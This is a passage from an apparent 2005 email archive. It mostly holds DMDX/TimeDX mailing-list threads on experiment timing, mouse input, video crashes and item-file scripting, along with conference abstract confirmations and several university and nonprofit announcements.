(don't know if there is a name for this kind of mouse), TimeDX can detect all the three buttons. However, when I use a ""real"" 3-button mouse (people who use UNIX might be more familiar with this kind of mouse), TimeDX cannot detect the middle button. Does anyone know what the problem might be? The ""real"" 3-button mouse is kind of old (maybe 5 years old already). Could that be the problem? thanks, shiaohui ^^^^^^^^^^^^^^^^^^^^^^^^^ Shiaohui Chan Ph.D. Program Department of Linguistics University of Arizona Tucson, AZ 85721 e-mail: shiaohui@u.arizona.edu",0,0 enar@enar.org,stanek@schoolph.umass.edu,"Tue, 15 Nov 2005 10:09:16 -0800",Abstract Submission,"Thank you for your submission. Below is a copy for your records. If space constraints make it impossible to include all contributed papers in the program, prority will be given to those finalized earlier. Please note you must register for the conference when you submit your abstract. You will receive confirmation of both your registration and abstract submission, which you should check carefully for accuracy. Fields marked with an asterisk are required. Username* stanek@schoolph.umass.edu  Contact author (for correspondence): Name * Edward J. Stanek III  Title Professor of Biostatistics  Work affiliation* School of Public Health, UMASS Amherst  Mailing address* 401 Arnold House, 715 N. Pleasant St., Amherst, MA 01002  Daytime phone* 413-545-3812  Fax 413-545-1645  E-mail address* stanek@schoolph.umass.edu  Title of Talk*: Title of paper/poster. Predicting realized cluster means in unequally sized cluster populations Authors' Names *: Author 1 X Presenting Author First Name: Edward  Middle Initial: J.  Last Name: Stanek III  Work Affiliation: Department of Public Health School of Public Health and Health Sciences U. of Mass, Amherst   Author 2   Presenting Author First Name: Julio  Middle Initial: M.  Last Name: Singer  X Work Affiliation: Departmnet of Statistics University of Sao Paulo Sao Paulo, Brazil     Abstract*: Abstract (not exceeding 200 words) Best linear unbiased predictors (BLUPs) are commonly added to estimates of fixed effects to predict the expected response of sampled clusters, such as schools or clinics. The predictors are usually based on mixed models for conceptual populations or superpopulations. Such methods account neither for an unbalanced finite population structure nor for unequal probability sampling. We develop design-based predictors for unequally sized clustered finite populations based on two stage sampling. The predictors are non-parametric and require no restrictive assumptions. They are developed using a prediction approach applied to a random permutation model. There are several unique features of the development. First, identifiability of clusters requires expanding the representation of such random variables in the random permutation model induced by the design. Second, collapsing the high dimensional random variables into sample and remainder totals (or means) enables tractable closed form predictors. Third, unconditionally unbiased predictors are only possible for sampling designs in which second stage sampling is conducted with probability proportional to size. However, a weaker unbiased constraint enables predictors to be developed for any two stage design. Finally, such predictors can be closely related to those in balanced designs and outperform their mixed model counterparts.  Scheduling:   Check here if this paper is for an IMS session.   Scheduling conflict with Category *:     Contributed Paper   Would you be willing to serve as a chair for a session?     Yes   Categories: Random Effects Models Survey Research Data",0,0 enar@enar.org,stanek@schoolph.umass.edu,"Tue, 15 Nov 2005 10:16:29 -0800",Abstract Submission,"Thank you for your submission. Below is a copy for your records. If space constraints make it impossible to include all contributed papers in the program, prority will be given to those finalized earlier. Please note you must register for the conference when you submit your abstract. You will receive confirmation of both your registration and abstract submission, which you should check carefully for accuracy. Fields marked with an asterisk are required. Username* stanek@schoolph.umass.edu  Contact author (for correspondence): Name * Edward J. Stanek III  Title Professor of Biostatistics  Work affiliation* Department of Public Health  Mailing address* 401 Arnold House, 715 N. Pleasant St., UMass, Amherst, MA 01002  Daytime phone* 413-545-3812  Fax 413-545-1645  E-mail address* stanek@schoolph.umass.edu  Title of Talk*: Title of paper/poster. Predicting treatment means in a one-way factorial design based on a potential observable random variable framework Authors' Names *: Author 1 X Presenting Author First Name: Bo  Middle Initial:   Last Name: Xu  Work Affiliation: Department of Public Health, School of Public Health and Health Sciences University of Massachusetts, Amherst   Author 2   Presenting Author First Name: Edward  Middle Initial: J.  Last Name: Stanek III  X Work Affiliation: Department of Public Health, School of Public Health and Health Sciences University of Massachusetts, Amherst     Abstract*: Abstract (not exceeding 200 words) The potentially observable random variable framework of Little and Rubin (2002) provides a context for defining causal effects. Although the role of the treatment allocation model in developing inference is extensively discussed in the literature, the joint roles of sampling and treatment allocation are seldom considered. We introduce sampling and treatment level allocation random variables to represent the potentially observable population by a joint set of random variables for a 1 factor model. This provides a design based framework for inference about treatment level means. Treatment level means are represented as the sum of the sample and remainder random variables, with Royall�s (1976) prediction theory used to develop predictors of the remainder. The approach is non-parametric, and based solely on the population sampling and treatment allocation random variables. We refer to the predictors of the realized treatment level mean as the best linear unbiased predictors. The predictors have the property of being �shrunk� towards the overall mean, similarly to the predictors of realized random effects in mixed models. Comparison of the expected MSE of these predictors with the simple sample treatment group mean illustrates the advantage of this approach.  Scheduling:   Check here if this paper is for an IMS session.   Scheduling conflict with Category *:     Contributed Paper   Would you be willing to serve as a chair for a session?     No   Categories: Causal Inference Random Effects Models",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 14:46:50 -0700",[DMDX] Re: 3-button mouse?,"At 11:45 AM 11/15/2005 -0700, you wrote: >Hi All, > >I am thinking of using a three-button mouse as the input device. When I >use a mouse with a rolling thing in the middle (don't know if there is a >name for this kind of mouse), TimeDX can detect all the three >buttons. However, when I use a ""real"" 3-button mouse (people who use UNIX >might be more familiar with this kind of mouse), TimeDX cannot detect the >middle button. Does anyone know what the problem might be? The ""real"" >3-button mouse is kind of old (maybe 5 years old already). Could that be >the problem? Windows doesn't use the middle button to speak of so a legacy device like that won't be exposing it's middle button without specific drivers for that mouse. If you want more than two buttons a USB gamepad is a good way to go. There are also speciality keyboards I've seen on the web if you're not interested in accurate RTs. I've also fabricated button boxes that plug into PIO cards -- but I'm not cheap, quite the opposite in fact. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Life's the same, except for the shoes. - The Cars ",0,0 YK Kwon ,'Development Finance' ,"Tue, 15 Nov 2005 14:51:30 -0500",agricultural entrepreneurship training materials,"I am looking for any information members can share on any training materials / manuals on entrepreneurship, basic business skills, leadership training and/or organizational management that would be relevant to small businesses (in particular those related to agriculture and/or those designed for use in areas with high levels of illiteracy) to provide entrepreneur and business skills training to farmers groups. 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",0,1 Adrien Salazar ,supercore05@lists.berkeley.edu,"Wed, 16 Nov 2005 00:48:27 -0800",{m}aganda magazine wants YOUR submissions!!!,"Untitled Document {{{ please forward widely }}} {m}aganda magazine wants you to submit to our next issue!!! we proudly present the theme of the nineteenth issue of {m}aganda magazine: {m} 19 crisis. submission guidelines. include your contact information name, email, phone, mailing address and brief biography to submit anonymously please include an asterisk (*) next to your name literary. submit 3 hard copies by mail or file attachment by email visual. prints/slides by mail or email attachment (greater than 300dpi) audio. cd by mail or mp3 by email send to submissions@magandamagazine.org maganda magazine: submissions 10 eshleman hall university of california at berkeley berkeley, ca 94720 submissions due by january 23, 2006. submit no originals, they will not be returned!   {m}aganda magazine is a student-run, annually published magazine that serves as a vital forum for the diverse experiences and opinions of individuals concerned with issues relating to Pilipinos or Pilipino-Americans, expressed through a variety of mediums including--but not limited to--poetry, artwork, literature, and scholarly writing. please visit our website, www.magandamagazine.org, for more information about {m}aganda.",1,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Wed, 16 Nov 2005 14:08:55 +0000",[DMDX] TimeDX & Windows XP," Hi, We are still having trouble making TimeDX work properly with Windows XP. On some machines everything seems to work fine, on others it doesn't and sometimes it depends on the videomode. The latest discovery is that things can fail in the vertical retrace sync test, but then are fine when we do the tachistiscopic acid test. The problem in the vertical retrace test (or 'Time video mode' test) is that the reported sleep times are often much longer than the requested sleep time, resulting in many timeouts and multiply timeouts. These things son't happen at all in the acid test, even with demanding settings. Aren't the vertical retrace test and the tachistiscopic acid test supposed to use the same underlying code? And isn't the latter supposed to be more demanding? These results are a bit puzzling and seem to indicate that the vertical retrace test isn't working correctly. Another reason to think that this is the case is the fact that no problems have been reported yet for that specific machine when using DMDX. Maarten ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Nov 2005 08:46:51 -0700",[DMDX] Re: TimeDX & Windows XP," The Vertical Sync Test is actually the most demanding thing that exists because it blits whole video screens of diagnostics as often as it can. The Tachistoscopic Acid Test on the other hand merely blits the region of the screen that is changing, the text and the immediate area around it. The Tachistoscopic Acid Test is designed to behave as DMDX would under it's most demanding situations whereas the Vertical Sync Test is testing whether we can sync with the video card and unfortunately the amount of diagnostic spew it makes presents a bit of a strain on some machines, it's not designed to behave like DMDX does. That is why DMDX executes just fine, it is closer to the Tachistoscopic Acid Test in execution. The Vertical Sync Test would have to be de-tuned quite a bit to get it down to normal loads and I haven't bothered to do it because of all the users you are the only one to have ever noticed -- and it would interfere with the test. So it stands as is. I spent quite some time tracking down what was happening there and watching the machines around here that reported unusually long sleep times (it's not uncommon) and finally figured out what's happening and it's non issue. You can use test modes 2, 3 and 4 to monitor what's happening as DMDX runs but I'll bet they're fine as you see the Tachistoscopic Acid Test is just fine. At 02:08 PM 11/16/2005 +0000, you wrote: >Hi, > >We are still having trouble making TimeDX work properly with >Windows XP. On some machines everything seems to work fine, on >others it doesn't and sometimes it depends on the videomode. > >The latest discovery is that things can fail in the vertical retrace sync >test, >but then are fine when we do the tachistiscopic acid test. > >The problem in the vertical retrace test (or 'Time video mode' test) is that >the reported sleep times are often much longer than the requested sleep >time, resulting in many timeouts and multiply timeouts. These things >son't happen at all in the acid test, even with demanding settings. > >Aren't the vertical retrace test and the tachistiscopic acid test supposed >to use the same underlying code? And isn't the latter supposed to be more >demanding? These results are a bit puzzling and seem to indicate that the >vertical retrace test isn't working correctly. > >Another reason to think that this is the case is the fact that no problems >have been reported yet for that specific machine when using DMDX. > >Maarten > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The Scots invented golf, which might explain why they invented Scotch. ",0,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Wed, 16 Nov 2005 16:46:46 +0000",[DMDX] Re: TimeDX & Windows XP," Thanks Jonathan, that makes things clearer. I was under the impression that the acid test was less of a load than the retrace test, but if things are the other way around it makes perfect sense again. Certainly now that you''ve told us that these long sleep times are not uncommon and nothing to worry about. I'll just run the acid test from now on, and if that one runs fine I'll stop worrying. Thanks again, Maarten At 15:46 16/11/2005, you wrote: >The Vertical Sync Test is actually the most demanding thing that >exists because it blits whole video screens of diagnostics as often >as it can. The Tachistoscopic Acid Test on the other hand merely >blits the region of the screen that is changing, the text and the >immediate area around it. The Tachistoscopic Acid Test is designed >to behave as DMDX would under it's most demanding situations whereas >the Vertical Sync Test is testing whether we can sync with the video >card and unfortunately the amount of diagnostic spew it makes >presents a bit of a strain on some machines, it's not designed to >behave like DMDX does. That is why DMDX executes just fine, it is >closer to the Tachistoscopic Acid Test in execution. The Vertical >Sync Test would have to be de-tuned quite a bit to get it down to >normal loads and I haven't bothered to do it because of all the >users you are the only one to have ever noticed -- and it would >interfere with the test. So it stands as is. I spent quite some >time tracking down what was happening there and watching the >machines around here that reported unusually long sleep times (it's >not uncommon) and finally figured out what's happening and it's non >issue. You can use test modes 2, 3 and 4 to monitor what's >happening as DMDX runs but I'll bet they're fine as you see the >Tachistoscopic Acid Test is just fine. > >At 02:08 PM 11/16/2005 +0000, you wrote: > >>Hi, >> >>We are still having trouble making TimeDX work properly with >>Windows XP. On some machines everything seems to work fine, on >>others it doesn't and sometimes it depends on the videomode. >> >>The latest discovery is that things can fail in the vertical >>retrace sync test, >>but then are fine when we do the tachistiscopic acid test. >> >>The problem in the vertical retrace test (or 'Time video mode' test) is that >>the reported sleep times are often much longer than the requested sleep >>time, resulting in many timeouts and multiply timeouts. These things >>son't happen at all in the acid test, even with demanding settings. >> >>Aren't the vertical retrace test and the tachistiscopic acid test supposed >>to use the same underlying code? And isn't the latter supposed to be more >>demanding? These results are a bit puzzling and seem to indicate that the >>vertical retrace test isn't working correctly. >> >>Another reason to think that this is the case is the fact that no problems >>have been reported yet for that specific machine when using DMDX. >> >>Maarten >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The Scots invented golf, which might explain why they invented >Scotch. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ",0,1 minson@uoregon.edu,minson@uoregon.edu,"Wed, 16 Nov 2005 12:00:25 -0800","Presentations, etc","Hey everyone! The presentations will be held in room 175 of Lillis. We will get started at 6, with pizza arriving at 5:45 and with groups who are presenting needing to get there early to make sure everything gets loaded up correctly. I posted the missing overhead in Course Documents. John will get his overheads posted soon. Have a great week and weekend!",0,0 diogo@umd.edu,DMDX@psy1.psych.arizona.edu,"Wed, 16 Nov 2005 18:30:16 -0500",[DMDX] Video problems - DMDX crashes immediately,"Hi, I'm trying to run a simple repetition priming experiment in American Sign Language. For that, I need to present a prime video and a target video. I constructed the script file beforehand, based on a previous one I had, just modifying the relevant parts. I tested the script with some dummy videos I had. It worked. When I got my first actual videos (i.e., the ones I would be using for the experiment), I ran a couple on TimeDX test mode, and everything was displayed correctly. But when I tried to run the script with the full list of materials, DMDX crashed immediately, whether I was checking the syntax or trying to run it directly. I tried reducing the number of items in my list, thinking that it might be a memory issue. Instead, I found out that the problem is not the number of items, but simply that some trial lines will make DMDX invariably crash, while others won't. I really don't get it, since all the trial lines are all identical, just the name of the files are different. And to make things worse, if I run the problematic files on TimeDX or in a separate script that just displays them, everything works out fine. Has anyone ran into a similar problem? Any ideas of what the problem might be? I'm using AVI files, btw. I know the computer is a Pentium 4 with 1GB RAM, but I don't remember the video card specs from the top of my head (I'm at home right now, which is also the reason I can't send my script code on this mail). I can post the correct specs and the script code first thing in the morning, if necessary. Thanks in advance for any help. best, Diogo _____________________________________________ Diogo Almeida - diogo@wam.umd.edu Cognitive Neuroscience of Language Laboratory Department of Linguistics University of Maryland ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 16 Nov 2005 18:37:41 -0700",[DMDX] Re: Video problems - DMDX crashes immediately,"At 06:30 PM 11/16/2005 -0500, you wrote: >Hi, > >I'm trying to run a simple repetition priming experiment in >American Sign Language. For that, I need to present a prime >video and a target video. I constructed the script file >beforehand, based on a previous one I had, just modifying the >relevant parts. > >I tested the script with some dummy videos I had. It worked. > >When I got my first actual videos (i.e., the ones I would be >using for the experiment), I ran a couple on TimeDX test mode, >and everything was displayed correctly. > >But when I tried to run the script with the full list of >materials, DMDX crashed immediately, whether I was checking >the syntax or trying to run it directly. DMDX does a few things differently to TimeDX so it's possible that some evil encoding scheme might work with TimeDX but tosses DMDX for a loop. >I tried reducing the number of items in my list, thinking that >it might be a memory issue. Instead, I found out that the >problem is not the number of items, but simply that some trial >lines will make DMDX invariably crash, while others won't. > >I really don't get it, since all the trial lines are all >identical, just the name of the files are different. And to >make things worse, if I run the problematic files on TimeDX or >in a separate script that just displays them, everything works >out fine. > >Has anyone ran into a similar problem? Not that I've heard of. Other problems, yes (invariably the result of some evil video codec) but not quite like you're describing. You might try in the parameter line and see if that clears things up -- but I'm not holding my breath. > Any ideas of what the >problem might be? > >I'm using AVI files, btw. I know the computer is a Pentium 4 >with 1GB RAM, but I don't remember the video card specs from >the top of my head (I'm at home right now, which is also the >reason I can't send my script code on this mail). > >I can post the correct specs and the script code first thing >in the morning, if necessary. I'm guessing you'll have to post a section of your item file and we'll see if there's anything odd with it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The Scots invented golf, which might explain why they invented Scotch.",0,0 stubills@uoregon.edu,vmayer@uoregon.edu,"Thu, 17 Nov 2005 00:02:20 -0600",University of Oregon Student Account Bill,"Your University of Oregon online billing statement is now available. Students: To view and/or pay your bill online, please login to DuckWeb and select Student Menu, 'QuikPAY Student Account.' Faculty & Staff: To view and/or pay your bill online, please login to DuckWeb and select Employee menu, 'QuikPAY UO Bill'. Authorized Payers: enter your login name and password at: https://quikpayasp.com/uoregon/studentAccount/authorized.do You will be able to view the bill online, make an online payment, or print a copy of the bill and mail it with your payment to the address provided. This is an automated message, we ask that you do not reply to this email. If you have questions, please contact our Student Billing Department at 541-346-3170, or email us at stubills@uoregon.edu.",0,1 Rakhi ,,,New Valuation Matrix for Microfinance Equity,"Hi All, Intellecap has been researching the space for developing an Equity Valuation Matrix for Microfinance Institutions (MFIs) seeking equity or quasi-equity investments that can determine their fair institutional value. The matrix aims to provide a comprehensive, rigorous measure of an MFI's commercial sustainability that in turn would serve to remove investor apprehensions and facilitate investment decisions. Over the last decade, MFIs have grown and proved themselves as sustainable and profitable institutions with a twin bottom line. Encouraged by the early success of some of these institutions, social investors, looking at equity investments and willing to take the risks of early-stage investments in emerging social markets, have evinced interest in the microfinance sector. Given the financial needs of the microfinance sector and its huge growth potential, such investors have a key role to play in the sector's future growth. One of the key challenges for exploiting this interest and strengthening the microfinance sector is to develop valuation methodologies and norms that are fair and acceptable to both the investors and the MFIs. An agreement between the involved parties on the value or price of a MFI's equity share is a precondition for successful equity investments. Here's the link to the article http://www.microfinancegateway.com/content/article/detail/29178?PHPSESSID=50f3eb684aef8bd79375d85624ae80d4 For more information, please contact, Vineet Rai (vrai@intellecap.net) or Atul (atul@intellecap.net) at Intellecap (www.intellecap.net) Regards, Rakhi Intellectual Capital Advisory Services Pvt Ltd (Intellecap) Tel: +91-22-39535292 Website: www.intellecap.net",0,1 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Thu, 17 Nov 2005 11:11:31 +0000",[DMDX] Move to next item,"Dear Sir, The response time in my experiments is 10 second to choose a picture. So, for example, if after the first chosen one, we want to move to next item and I write the file like below but it doesn't run as expected. (I've added some parts from your suggestion a month ago) 0 ""start"" ; 1 ! ""black"" ; 2 ! ""black"" ; 3 ! ""black"" ; +100 ""picture1"" , ""picture2"" , ""picture3"" * ; +101 ! * ; +102 ! * ; 1001 ; +200 ""picture1"" , ""picture2"" , ""picture3"" * ; +201 ! * ; +202 ! * ; 1002 ; +300 ""picture1"" , ""picture2"" , ""picture3"" * ; +301 ! * ; +302 ! * ; 1003 ; ... Could you please tell me how to solve this problem. Thank you, Binh Nguyen-Van Quoting ""j.c.f."" : > At 11:31 AM 10/13/2005 +0100, you wrote: > > > > > > > > > 0 ""start"" ; > > > > > > 1 ! ""black"" ; > > > 2 ! ""black"" ; > > > 3 ! ""black"" ; > > > > > > +100 ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > > +101 ! * ; > > > +102 ! * ; > > > > > > Of course this solution allows you to respond with any key at any > time > > > and doesn't guarantee that they won't press one response more than once > > and > > > thus not have erased the whole screen afterwards. > > And then sometime last night (probably sitting in meditation) I realized > that you could selectively bind and then unbind response keys so they > couldn't make the same response twice like this: > > > > 0 ""start"" ; > > 1 ! ""black"" ; > 2 ! ""black"" ; > 3 ! ""black"" ; > > +100 > ""picture1"" , ""picture2"" , > ""picture3"" * ; > +101 ! * ; > +102 ! * ; > > > +200 > ""picture1"" , ""picture2"" , > ""picture3"" * ; > +201 ! * ; > +202 ! * ; > > Of course this solution allows > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The bug stops here. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 17 Nov 2005 08:24:07 -0700",[DMDX] Re: Move to next item,"You will want in the parameter line. At 11:11 AM 11/17/2005 +0000, you wrote: >Dear Sir, > >The response time in my experiments is 10 second to choose a picture. So, for >example, if after the first chosen one, we want to move to next item and I >write the file like below but it doesn't run as expected. (I've added some >parts from your suggestion a month ago) > > > > >0 ""start"" ; > >1 ! ""black"" ; >2 ! ""black"" ; >3 ! ""black"" ; > >+100 > ""picture1"" , ""picture2"" , > ""picture3"" * ; >+101 ! * ; >+102 ! * ; >1001 ; > >+200 > ""picture1"" , ""picture2"" , > ""picture3"" * ; >+201 ! * ; >+202 ! * ; >1002 ; > >+300 > ""picture1"" , ""picture2"" , > ""picture3"" * ; >+301 ! * ; >+302 ! * ; >1003 ; > >.. > >Could you please tell me how to solve this problem. > >Thank you, > >Binh Nguyen-Van > > > >Quoting ""j.c.f."" : > > > At 11:31 AM 10/13/2005 +0100, you wrote: > > > > > > > > > > > > 0 ""start"" ; > > > > > > > > 1 ! ""black"" ; > > > > 2 ! ""black"" ; > > > > 3 ! ""black"" ; > > > > > > > > +100 ""picture1"" , ""picture2"" , > > > > ""picture3"" * ; > > > > +101 ! * ; > > > > +102 ! * ; > > > > > > > > Of course this solution allows you to respond with any key at any > > time > > > > and doesn't guarantee that they won't press one response more than > once > > > and > > > > thus not have erased the whole screen afterwards. > > > > And then sometime last night (probably sitting in meditation) I > realized > > that you could selectively bind and then unbind response keys so they > > couldn't make the same response twice like this: > > > > > > > > 0 ""start"" ; > > > > 1 ! ""black"" ; > > 2 ! ""black"" ; > > 3 ! ""black"" ; > > > > +100 > > ""picture1"" , ""picture2"" , > > ""picture3"" * ; > > +101 ! * ; > > +102 ! * ; > > > > > > +200 > > ""picture1"" , ""picture2"" , > > ""picture3"" * ; > > +201 ! * ; > > +202 ! * ; > > > > Of course this solution allows > > > > /""\\ > > -jonathan (j.c.f.) \\ / > > X > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > The bug stops here. > > > > > > ==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > ==================================================================== > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The Scots invented golf, which might explain why they invented Scotch.",0,1 Cynthia Herr ,Valerie Amanda Mayer ,"Thu, 17 Nov 2005 09:08:54 -0800",Re: Book Review problems,"Hi Valerie, That worked. I've got your paper. Thank you. Cindy ----- Original Message ----- From: ""Valerie Amanda Mayer"" To: Sent: Wednesday, November 16, 2005 5:39 PM Subject: Book Review problems > Im sorry about the problwm with my paper. Im not quite sure how to > send the papers but hopefully this is ok that I attach my paper to > this email. Hopefully it works!! Email me if you need something > different. Soory for being difficult!! > > Valerie Mayer > > Just in case i will email me review as well.",0,0 V Nguyen ,DMDX@psy1.psych.arizona.edu,"Thu, 17 Nov 2005 17:22:12 +0000",[DMDX] Re: Move to next item,"Dear Sir, Could you plaese check it one more time. The parameter line likes this: but no thing better. Kind regards, Binh Nguyen-Van Quoting ""j.c.f."" : > > You will want in the parameter line. > > At 11:11 AM 11/17/2005 +0000, you wrote: > >Dear Sir, > > > >The response time in my experiments is 10 second to choose a picture. So, > for > >example, if after the first chosen one, we want to move to next item and I > >write the file like below but it doesn't run as expected. (I've added some > >parts from your suggestion a month ago) > > > > > > > > > >0 ""start"" ; > > > >1 ! ""black"" ; > >2 ! ""black"" ; > >3 ! ""black"" ; > > > >+100 > > ""picture1"" , ""picture2"" , > > ""picture3"" * ; > >+101 ! * ; > >+102 ! * ; > >1001 ; > > > >+200 > > ""picture1"" , ""picture2"" , > > ""picture3"" * ; > >+201 ! * ; > >+202 ! * ; > >1002 ; > > > >+300 > > ""picture1"" , ""picture2"" , > > ""picture3"" * ; > >+301 ! * ; > >+302 ! * ; > >1003 ; > > > >.. > > > >Could you please tell me how to solve this problem. > > > >Thank you, > > > >Binh Nguyen-Van > > > > > > > >Quoting ""j.c.f."" : > > > > > At 11:31 AM 10/13/2005 +0100, you wrote: > > > > > > > > > > > > > > > 0 ""start"" ; > > > > > > > > > > 1 ! ""black"" ; > > > > > 2 ! ""black"" ; > > > > > 3 ! ""black"" ; > > > > > > > > > > +100 ""picture1"" , ""picture2"" , > > > > > ""picture3"" * ; > > > > > +101 ! * ; > > > > > +102 ! * ; > > > > > > > > > > Of course this solution allows you to respond with any key at any > > > time > > > > > and doesn't guarantee that they won't press one response more than > > once > > > > and > > > > > thus not have erased the whole screen afterwards. > > > > > > And then sometime last night (probably sitting in meditation) I > > realized > > > that you could selectively bind and then unbind response keys so they > > > couldn't make the same response twice like this: > > > > > > > > > > > > 0 ""start"" ; > > > > > > 1 ! ""black"" ; > > > 2 ! ""black"" ; > > > 3 ! ""black"" ; > > > > > > +100 > > > ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > > +101 ! * ; > > > +102 ! * ; > > > > > > > > > +200 > > > ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > > +201 ! * ; > > > +202 ! * ; > > > > > > Of course this solution allows > > > > > > /""\\ > > > -jonathan (j.c.f.) \\ / > > > X > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > > > The bug stops here. > > > > > > > > > ==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > ==================================================================== > > > > > > > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The Scots invented golf, which might explain why they invented > Scotch. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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",DMDX@psy1.psych.arizona.edu,"Thu, 17 Nov 2005 15:35:44 -0700",[DMDX] Re: Move to next item,"So where are the and parameters? At 05:22 PM 11/17/2005 +0000, you wrote: >Dear Sir, > >Could you plaese check it one more time. The parameter line likes this: > > > 255255255> > >but no thing better. > > >Kind regards, > >Binh Nguyen-Van > >Quoting ""j.c.f."" : > > > > > You will want in the parameter line. > > > > At 11:11 AM 11/17/2005 +0000, you wrote: > > >Dear Sir, > > > > > >The response time in my experiments is 10 second to choose a picture. So, > > for > > >example, if after the first chosen one, we want to move to next item and I > > >write the file like below but it doesn't run as expected. (I've added some > > >parts from your suggestion a month ago) > > > > > > > > > > > > > > >0 ""start"" ; > > > > > >1 ! ""black"" ; > > >2 ! ""black"" ; > > >3 ! ""black"" ; > > > > > >+100 > > > ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > >+101 ! * ; > > >+102 ! * ; > > >1001 ; > > > > > >+200 > > > ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > >+201 ! * ; > > >+202 ! * ; > > >1002 ; > > > > > >+300 > > > ""picture1"" , ""picture2"" , > > > ""picture3"" * ; > > >+301 ! * ; > > >+302 ! * ; > > >1003 ; > > > > > >.. > > > > > >Could you please tell me how to solve this problem. > > > > > >Thank you, > > > > > >Binh Nguyen-Van > > > > > > > > > > > >Quoting ""j.c.f."" : > > > > > > > At 11:31 AM 10/13/2005 +0100, you wrote: > > > > > > > > > > > > > > > > > > 0 ""start"" ; > > > > > > > > > > > > 1 ! ""black"" ; > > > > > > 2 ! ""black"" ; > > > > > > 3 ! ""black"" ; > > > > > > > > > > > > +100 ""picture1"" , ""picture2"" , > > > > > > ""picture3"" * ; > > > > > > +101 ! * ; > > > > > > +102 ! * ; > > > > > > > > > > > > Of course this solution allows you to respond with any key > at any > > > > time > > > > > > and doesn't guarantee that they won't press one response more than > > > once > > > > > and > > > > > > thus not have erased the whole screen afterwards. > > > > > > > > And then sometime last night (probably sitting in meditation) I > > > realized > > > > that you could selectively bind and then unbind response keys so they > > > > couldn't make the same response twice like this: > > > > > > > > > > > > > > > > 0 ""start"" ; > > > > > > > > 1 ! ""black"" ; > > > > 2 ! ""black"" ; > > > > 3 ! ""black"" ; > > > > > > > > +100 > > > > ""picture1"" , ""picture2"" , > > > > ""picture3"" * ; > > > > +101 ! * ; > > > > +102 ! * ; > > > > > > > > > > > > +200 > > > > ""picture1"" , ""picture2"" , > > > > ""picture3"" * ; > > > > +201 ! * ; > > > > +202 ! * ; > > > > > > > > Of course this solution allows > > > > > > > > /""\\ > > > > -jonathan (j.c.f.) \\ / > > > > X > > > > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > > > > > > > The bug stops here. > > > > > > > > > > > > ==================================================================== > > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > > 'unsubscribe' by itself with no quotes in the body of the email > > > > to be removed from the list. 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The following script used to work before, but now we have the infamous ""display error"" on each word, although we have , although the refresh rate is the same as before (11,7ms). After 20 or so sentences, Windows XP crash and the computer needs to be restarted. -> Do you have any clues why it is so? To avoid these display errors, I tried to increase the delay up to 60 ticks, but it remained the same. Finally, I set the delay to -20, that is , so that DMDX anticipates the next trial. This time, no display error occurred. However, the reading times, measured after each word, are very strange, being as low as 0.7ms (which never happened before). This is not due to speedy behaviour, because participants respond accurately on trials where they present such behaviour. -> 